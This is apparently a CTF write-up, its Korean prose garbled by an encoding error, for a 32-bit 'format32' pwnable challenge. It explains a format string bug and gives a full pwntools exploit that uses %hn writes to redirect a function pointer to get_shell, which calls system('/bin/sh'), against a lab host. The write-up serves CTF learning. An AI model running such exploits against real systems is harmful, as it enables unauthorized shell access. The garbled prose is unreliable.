๋ถ์ผ : Pwnable
๐ง ๋ฌธ์
๋ฌธ์ ๋ช : format32
32bit ํ๊ฒฝ์์ format string bug๋ก ํฌ์ธํฐ๋ฅผ overwriteํ์ฌ get_shell
ํจ์๋ฅผ ํธ์ถํ๋ ๋ฌธ์ ์ด๋ค.
์ ๊ตฌ์ฑ์ด ๋ฌธ์ ํ์ผ๋ก ์ ๊ณต๋๋ค. ๋ก์ปฌ์์ ๋์ปค ์ปจํ ์ด๋๋ฅผ ์ฌ๋ ค ์ต์คํ๋ก์์ ์งํํ๊ณ , ๋์ผํ ํ์ด๋ก๋๋ฅผ ์๋ฒ์ ์ ์กํ๋ฉด ์ ธ์ ํ๋ํ ์ ์๋ค.
๐ง ๋ถ์
๋ณดํธ ๊ธฐ๋ฒ์ ์์ ๊ฐ๋ค. ๋ฌธ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ํด๋ณด์.
main
ํจ์์ด๋ค. buf์ ๊ฐ์ 256byte ์
๋ ฅ๋ฐ๊ณ , ์ด๋ฅผ ์ถ๋ ฅํ ๋ format string bug๊ฐ ๋ฐ์ํ๋ค.
funcPtr
ํฌ์ธํฐ์ win
ํจ์ ์ฃผ์๋ฅผ ์ ์ฅํ๊ณ , check
์ ์ญ๋ณ์์ ๊ฐ์ด 0xdeadbeef
์ด๋ฉด funcPtr
์ ๋ค์ด๊ฐ ํจ์๋ฅผ ํธ์ถํ๋ค.
format string bug๋ก ํน์ ๋ฉ๋ชจ๋ฆฌ ๊ฐ๋ค์ overwrite ํ ์ ์๊ธฐ ๋๋ฌธ์, check
์ ์ญ๋ณ์์ ์ ์ ํ ๊ฐ์ write ํ๋ฉด ๋๋ค.
winํจ์๋ ๊ทธ์ ์ถ๋ ฅํด์ฃผ๋ ํจ์์ด๊ธฐ ๋๋ฌธ์, funcPtr
์ ์ญ๋ณ์๋ win
ํจ์ ์ฃผ์์์ get_shell
์ฃผ์๋ก overwrite ํด์ค์ผ ํ๋ค.
get_shell
ํจ์๋ system('/bin/sh');
์ผ๋ก ์
ธ์ ํ๋ํ๋ค.
์
๋ ฅํ AAAA
๊ฐ 11๋ฒ์งธ์์ leak๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ํ์ด๋ก๋๋ฅผ ์
๋ ฅ ์ writeํ ์ฃผ์๋ฅผ ๋ฃ์ด๋๊ณ ์ด๋ฅผ %11$hn
๊ณผ ๊ฐ์ด ์ง์ ํ์ฌ ํด๋น ์์ ๋ฌธ์์ด ๊ฐ์๋งํผ ๊ฐ์ overwriteํ๋ค.
๐ง ์ต์คํ๋ก์
from pwn import *
#context.log_level = 'debug'
#p = process('./format32')
e = ELF('./format32')
p = remote('192.168.83.137', 13574)
libc = e.libc
exit_got = e.got['exit']
check = e.symbols['check']
func = e.symbols['funcPtr']
shell = e.symbols['get_shell']
#get_shell = 0x08049296
#check = 0xdeadbeef
payload = b''
payload += p32(func)
payload += p32(func+2)
payload += p32(check)
payload += p32(check+2)
payload += b'%37510c%11$hn' #0x9296
payload += b'%30062c%12$hn' #0x10804
payload += b'%46827c%13$hn' #0x1beef
payload += b'%8126c%14$hn' #0x1dead
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
ํด๋น exploit ์ฝ๋๋ฅผ ์คํํ๋ฉด ์ ธ์ ์ป์ ์ ์๋ค.